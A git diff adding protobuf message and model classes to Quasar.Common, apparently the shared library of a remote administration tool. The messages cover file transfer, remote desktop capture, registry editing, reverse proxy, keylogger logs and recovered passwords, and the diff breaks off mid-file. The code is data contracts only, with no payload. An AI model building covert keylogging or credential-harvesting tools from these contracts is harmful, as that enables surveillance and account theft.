b/Quasar.Common/Messages/FileTransferChunk.cs new file mode 100644 index 000000000..4da148a83 --- /dev/null +++ b/Quasar.Common/Messages/FileTransferChunk.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferChunk : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public long FileSize { get; set; } + + [ProtoMember(4)] + public FileChunk Chunk { get; set; } + } +} diff --git a/Quasar.Common/Messages/FileTransferComplete.cs b/Quasar.Common/Messages/FileTransferComplete.cs new file mode 100644 index 000000000..8e8eeb2f4 --- /dev/null +++ b/Quasar.Common/Messages/FileTransferComplete.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferComplete : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + } +} diff --git a/Quasar.Common/Messages/FileTransferRequest.cs b/Quasar.Common/Messages/FileTransferRequest.cs new file mode 100644 index 000000000..3c9bfe7fa --- /dev/null +++ b/Quasar.Common/Messages/FileTransferRequest.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferRequest : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string RemotePath { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs b/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs new file mode 100644 index 000000000..ec55283a8 --- /dev/null +++ b/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetChangeRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetConnections.cs b/Quasar.Common/Messages/GetConnections.cs new file mode 100644 index 000000000..02a0affa2 --- /dev/null +++ b/Quasar.Common/Messages/GetConnections.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetConnections : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetConnectionsResponse.cs b/Quasar.Common/Messages/GetConnectionsResponse.cs new file mode 100644 index 000000000..681a1ef32 --- /dev/null +++ b/Quasar.Common/Messages/GetConnectionsResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetConnectionsResponse : IMessage + { + [ProtoMember(1)] + public TcpConnection[] Connections { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs b/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs new file mode 100644 index 000000000..e94f08664 --- /dev/null +++ b/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetCreateRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public RegSeekerMatch Match { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs b/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs new file mode 100644 index 000000000..7c9f1105a --- /dev/null +++ b/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetCreateRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs b/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs new file mode 100644 index 000000000..27bd5f10c --- /dev/null +++ b/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDeleteRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string KeyName { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs b/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs new file mode 100644 index 000000000..c9404e77f --- /dev/null +++ b/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDeleteRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string ValueName { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDesktop.cs b/Quasar.Common/Messages/GetDesktop.cs new file mode 100644 index 000000000..815220729 --- /dev/null +++ b/Quasar.Common/Messages/GetDesktop.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktop : IMessage + { + [ProtoMember(1)] + public bool CreateNew { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int DisplayIndex { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDesktopResponse.cs b/Quasar.Common/Messages/GetDesktopResponse.cs new file mode 100644 index 000000000..ab9a62e13 --- /dev/null +++ b/Quasar.Common/Messages/GetDesktopResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Video; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktopResponse : IMessage + { + [ProtoMember(1)] + public byte[] Image { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int Monitor { get; set; } + + [ProtoMember(4)] + public Resolution Resolution { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDirectory.cs b/Quasar.Common/Messages/GetDirectory.cs new file mode 100644 index 000000000..11b83dc7b --- /dev/null +++ b/Quasar.Common/Messages/GetDirectory.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDirectory : IMessage + { + [ProtoMember(1)] + public string RemotePath { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDirectoryResponse.cs b/Quasar.Common/Messages/GetDirectoryResponse.cs new file mode 100644 index 000000000..4cff9efae --- /dev/null +++ b/Quasar.Common/Messages/GetDirectoryResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDirectoryResponse : IMessage + { + [ProtoMember(1)] + public string RemotePath { get; set; } + + [ProtoMember(2)] + public FileSystemEntry[] Items { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDrives.cs b/Quasar.Common/Messages/GetDrives.cs new file mode 100644 index 000000000..da5ea1d05 --- /dev/null +++ b/Quasar.Common/Messages/GetDrives.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDrives : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetDrivesResponse.cs b/Quasar.Common/Messages/GetDrivesResponse.cs new file mode 100644 index 000000000..efe3ae6a9 --- /dev/null +++ b/Quasar.Common/Messages/GetDrivesResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDrivesResponse : IMessage + { + [ProtoMember(1)] + public Drive[] Drives { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs b/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs new file mode 100644 index 000000000..c3c0f45ae --- /dev/null +++ b/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetKeyloggerLogsDirectory : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs b/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs new file mode 100644 index 000000000..fa8d092ce --- /dev/null +++ b/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetKeyloggerLogsDirectoryResponse : IMessage + { + [ProtoMember(1)] + public string LogsDirectory { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetMonitors.cs b/Quasar.Common/Messages/GetMonitors.cs new file mode 100644 index 000000000..93092e418 --- /dev/null +++ b/Quasar.Common/Messages/GetMonitors.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitors : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetMonitorsResponse.cs b/Quasar.Common/Messages/GetMonitorsResponse.cs new file mode 100644 index 000000000..4d1a4b8b2 --- /dev/null +++ b/Quasar.Common/Messages/GetMonitorsResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitorsResponse : IMessage + { + [ProtoMember(1)] + public int Number { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetPasswords.cs b/Quasar.Common/Messages/GetPasswords.cs new file mode 100644 index 000000000..4d3e4f2b3 --- /dev/null +++ b/Quasar.Common/Messages/GetPasswords.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetPasswords : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetPasswordsResponse.cs b/Quasar.Common/Messages/GetPasswordsResponse.cs new file mode 100644 index 000000000..bbf3e2940 --- /dev/null +++ b/Quasar.Common/Messages/GetPasswordsResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using Quasar.Common.Models; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetPasswordsResponse : IMessage + { + [ProtoMember(1)] + public List RecoveredAccounts { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetProcesses.cs b/Quasar.Common/Messages/GetProcesses.cs new file mode 100644 index 000000000..99553a2dd --- /dev/null +++ b/Quasar.Common/Messages/GetProcesses.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetProcesses : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetProcessesResponse.cs b/Quasar.Common/Messages/GetProcessesResponse.cs new file mode 100644 index 000000000..c20242401 --- /dev/null +++ b/Quasar.Common/Messages/GetProcessesResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetProcessesResponse : IMessage + { + [ProtoMember(1)] + public Process[] Processes { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetRegistryKeysResponse.cs b/Quasar.Common/Messages/GetRegistryKeysResponse.cs new file mode 100644 index 000000000..485b35681 --- /dev/null +++ b/Quasar.Common/Messages/GetRegistryKeysResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRegistryKeysResponse : IMessage + { + [ProtoMember(1)] + public RegSeekerMatch[] Matches { get; set; } + + [ProtoMember(2)] + public string RootKey { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs b/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs new file mode 100644 index 000000000..d523c72e2 --- /dev/null +++ b/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRenameRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string OldKeyName { get; set; } + + [ProtoMember(3)] + public string NewKeyName { get; set; } + + [ProtoMember(4)] + public bool IsError { get; set; } + + [ProtoMember(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs b/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs new file mode 100644 index 000000000..ca6ca7c61 --- /dev/null +++ b/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRenameRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string OldValueName { get; set; } + + [ProtoMember(3)] + public string NewValueName { get; set; } + + [ProtoMember(4)] + public bool IsError { get; set; } + + [ProtoMember(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetStartupItems.cs b/Quasar.Common/Messages/GetStartupItems.cs new file mode 100644 index 000000000..05b7c1eaf --- /dev/null +++ b/Quasar.Common/Messages/GetStartupItems.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetStartupItems : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetStartupItemsResponse.cs b/Quasar.Common/Messages/GetStartupItemsResponse.cs new file mode 100644 index 000000000..9dd2eda7a --- /dev/null +++ b/Quasar.Common/Messages/GetStartupItemsResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using Quasar.Common.Models; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetStartupItemsResponse : IMessage + { + [ProtoMember(1)] + public List StartupItems { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetSystemInfo.cs b/Quasar.Common/Messages/GetSystemInfo.cs new file mode 100644 index 000000000..34c67b750 --- /dev/null +++ b/Quasar.Common/Messages/GetSystemInfo.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetSystemInfo : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetSystemInfoResponse.cs b/Quasar.Common/Messages/GetSystemInfoResponse.cs new file mode 100644 index 000000000..ff7243b5e --- /dev/null +++ b/Quasar.Common/Messages/GetSystemInfoResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using System; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetSystemInfoResponse : IMessage + { + [ProtoMember(1)] + public List> SystemInfos { get; set; } + } +} diff --git a/Quasar.Common/Messages/IMessage.cs b/Quasar.Common/Messages/IMessage.cs new file mode 100644 index 000000000..636aa993b --- /dev/null +++ b/Quasar.Common/Messages/IMessage.cs @@ -0,0 +1,6 @@ +namespace Quasar.Common.Messages +{ + public interface IMessage + { + } +} diff --git a/Quasar.Common/Messages/IMessageProcessor.cs b/Quasar.Common/Messages/IMessageProcessor.cs new file mode 100644 index 000000000..61bfc77b9 --- /dev/null +++ b/Quasar.Common/Messages/IMessageProcessor.cs @@ -0,0 +1,31 @@ +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor + { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. + bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. + bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. + void Execute(ISender sender, IMessage message); + } +} diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs new file mode 100644 index 000000000..7982a78ab --- /dev/null +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -0,0 +1,66 @@ +using Quasar.Common.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + /// + /// Handles registrations of s and processing of s. + /// + public static class MessageHandler + { + /// + /// List of registered s. + /// + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access to between threads. + /// + private static readonly object SyncLock = new object(); + + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) + { + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } + } + + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) + { + lock (SyncLock) + { + Processors.Remove(proc); + } + } + + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + public static void Process(ISender sender, IMessage msg) + { + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } + + foreach (var executor in availableProcessors) + executor.Execute(sender, msg); + } + } +} diff --git a/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar.Common/Messages/MessageProcessorBase.cs new file mode 100644 index 000000000..f84cf825e --- /dev/null +++ b/Quasar.Common/Messages/MessageProcessorBase.cs @@ -0,0 +1,107 @@ +using Quasar.Common.Networking; +using System; +using System.Threading; + +namespace Quasar.Common.Messages +{ + /// + /// Provides a MessageProcessor implementation that provides progress report callbacks. + /// + /// Specifies the type of the progress report value. + /// + /// Any event handlers registered with the event are invoked through a + /// instance chosen when the instance is constructed. + /// + public abstract class MessageProcessorBase : IMessageProcessor, IProgress + { + /// + /// The synchronization context chosen upon construction. + /// + protected readonly SynchronizationContext SynchronizationContext; + + /// + /// A cached delegate used to post invocation to the synchronization context. + /// + private readonly SendOrPostCallback _invokeReportProgressHandlers; + + /// + /// Represents the method that will handle progress updates. + /// + /// The message processor which updated the progress. + /// The new progress. + public delegate void ReportProgressEventHandler(object sender, T value); + + /// + /// Raised for each reported progress value. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ReportProgressEventHandler ProgressChanged; + + /// + /// Reports a progress change. + /// + /// The value of the updated progress. + protected virtual void OnReport(T value) + { + // If there's no handler, don't bother going through the sync context. + // Inside the callback, we'll need to check again, in case + // an event handler is removed between now and then. + var handler = ProgressChanged; + if (handler != null) + { + SynchronizationContext.Post(_invokeReportProgressHandlers, value); + } + } + + /// + /// Initializes the + /// + /// + /// If this value is false, the progress callbacks will be invoked on the ThreadPool. + /// Otherwise the current SynchronizationContext will be used. + /// + protected MessageProcessorBase(bool useCurrentContext) + { + _invokeReportProgressHandlers = InvokeReportProgressHandlers; + SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext; + } + + /// + /// Invokes the progress event callbacks. + /// + /// The progress value. + private void InvokeReportProgressHandlers(object state) + { + var handler = ProgressChanged; + handler?.Invoke(this, (T)state); + } + + /// + public abstract bool CanExecute(IMessage message); + + /// + public abstract bool CanExecuteFrom(ISender sender); + + /// + public abstract void Execute(ISender sender, IMessage message); + + void IProgress.Report(T value) => OnReport(value); + } + + /// + /// Holds static values for . + /// + /// + /// This avoids one static instance per type T. + /// + internal static class ProgressStatics + { + /// + /// A default synchronization context that targets the . + /// + internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext(); + } +} diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs new file mode 100644 index 000000000..cd870eae9 --- /dev/null +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyConnect : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public string Target { get; set; } + + [ProtoMember(3)] + public int Port { get; set; } + } +} diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs new file mode 100644 index 000000000..57fa857f3 --- /dev/null +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyConnectResponse : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public bool IsConnected { get; set; } + + [ProtoMember(3)] + public byte[] LocalAddress { get; set; } + + [ProtoMember(4)] + public int LocalPort { get; set; } + + [ProtoMember(5)] + public string HostName { get; set; } + } +} diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs new file mode 100644 index 000000000..5f34679c1 --- /dev/null +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyData : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs new file mode 100644 index 000000000..2399e0601 --- /dev/null +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyDisconnect : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + } +} diff --git a/Quasar.Common/Messages/SetStatus.cs b/Quasar.Common/Messages/SetStatus.cs new file mode 100644 index 000000000..b91a2f94b --- /dev/null +++ b/Quasar.Common/Messages/SetStatus.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatus : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + } +} diff --git a/Quasar.Common/Messages/SetStatusFileManager.cs b/Quasar.Common/Messages/SetStatusFileManager.cs new file mode 100644 index 000000000..ee6f5b85d --- /dev/null +++ b/Quasar.Common/Messages/SetStatusFileManager.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatusFileManager : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + + [ProtoMember(2)] + public bool SetLastDirectorySeen { get; set; } + } +} diff --git a/Quasar.Common/Messages/SetUserStatus.cs b/Quasar.Common/Messages/SetUserStatus.cs new file mode 100644 index 000000000..798d847a7 --- /dev/null +++ b/Quasar.Common/Messages/SetUserStatus.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetUserStatus : IMessage + { + [ProtoMember(1)] + public UserStatus Message { get; set; } + } +} diff --git a/Quasar.Common/Messages/TypeRegistry.cs b/Quasar.Common/Messages/TypeRegistry.cs new file mode 100644 index 000000000..4b1376f75 --- /dev/null +++ b/Quasar.Common/Messages/TypeRegistry.cs @@ -0,0 +1,49 @@ +using ProtoBuf.Meta; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + public static class TypeRegistry + { + /// + /// The internal index of the message type. + /// + private static int _typeIndex; + + /// + /// Adds a Type to the serializer so a message can be properly serialized. + /// + /// The parent type, i.e.: IMessage + /// Type to be added + public static void AddTypeToSerializer(Type parent, Type type) + { + if (type == null || parent == null) + throw new ArgumentNullException(); + + bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); + + if (!isAlreadyAdded) + RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type); + } + + /// + /// Adds Types to the serializer. + /// + /// The parent type, i.e.: IMessage + /// Types to add. + public static void AddTypesToSerializer(Type parent, params Type[] types) + { + foreach (Type type in types) + AddTypeToSerializer(parent, type); + } + + public static IEnumerable GetPacketTypes(Type type) + { + return AppDomain.CurrentDomain.GetAssemblies() + .SelectMany(s => s.GetTypes()) + .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); + } + } +} diff --git a/Quasar.Common/Models/Drive.cs b/Quasar.Common/Models/Drive.cs new file mode 100644 index 000000000..dfae29ffc --- /dev/null +++ b/Quasar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Drive + { + [ProtoMember(1)] + public string DisplayName { get; set; } + + [ProtoMember(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Quasar.Common/Models/FileChunk.cs b/Quasar.Common/Models/FileChunk.cs new file mode 100644 index 000000000..cab556461 --- /dev/null +++ b/Quasar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileChunk + { + [ProtoMember(1)] + public long Offset { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar.Common/Models/FileSystemEntry.cs b/Quasar.Common/Models/FileSystemEntry.cs new file mode 100644 index 000000000..216a77f14 --- /dev/null +++ b/Quasar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +using System; +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileSystemEntry + { + [ProtoMember(1)] + public FileType EntryType { get; set; } + + [ProtoMember(2)] + public string Name { get; set; } + + [ProtoMember(3)] + public long Size { get; set; } + + [ProtoMember(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [ProtoMember(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Quasar.Common/Models/Process.cs b/Quasar.Common/Models/Process.cs new file mode 100644 index 000000000..a28496c24 --- /dev/null +++ b/Quasar.Common/Models/Process.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Process + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public int Id { get; set; } + + [ProtoMember(3)] + public string MainWindowTitle { get; set; } + } +} diff --git a/Quasar.Common/Models/RecoveredAccount.cs b/Quasar.Common/Models/RecoveredAccount.cs new file mode 100644 index 000000000..301735475 --- /dev/null +++ b/Quasar.Common/Models/RecoveredAccount.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RecoveredAccount + { + [ProtoMember(1)] + public string Username { get; set; } + + [ProtoMember(2)] + public string Password { get; set; } + + [ProtoMember(3)] + public string Url { get; set; } + + [ProtoMember(4)] + public string Application { get; set; } + } +} diff --git a/Quasar.Common/Models/RegSeekerMatch.cs b/Quasar.Common/Models/RegSeekerMatch.cs new file mode 100644 index 000000000..3ea4bf575 --- /dev/null +++ b/Quasar.Common/Models/RegSeekerMatch.cs @@ -0,0 +1,22 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegSeekerMatch + { + [ProtoMember(1)] + public string Key { get; set; } + + [ProtoMember(2)] + public RegValueData[] Data { get; set; } + + [ProtoMember(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() + { + return $"({Key}:{Data})"; + } + } +} diff --git a/Quasar.Common/Models/RegValueData.cs b/Quasar.Common/Models/RegValueData.cs new file mode 100644 index 000000000..08a96b6f6 --- /dev/null +++ b/Quasar.Common/Models/RegValueData.cs @@ -0,0 +1,18 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegValueData + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + + [ProtoMember(3)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar.Common/Models/StartupItem.cs b/Quasar.Common/Models/StartupItem.cs new file mode 100644 index 000000000..0e1a090ab --- /dev/null +++ b/Quasar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class StartupItem + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public StartupType Type { get; set; } + } +} diff --git a/Quasar.Common/Models/TcpConnection.cs b/Quasar.Common/Models/TcpConnection.cs new file mode 100644 index 000000000..40c4538cb --- /dev/null +++ b/Quasar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace 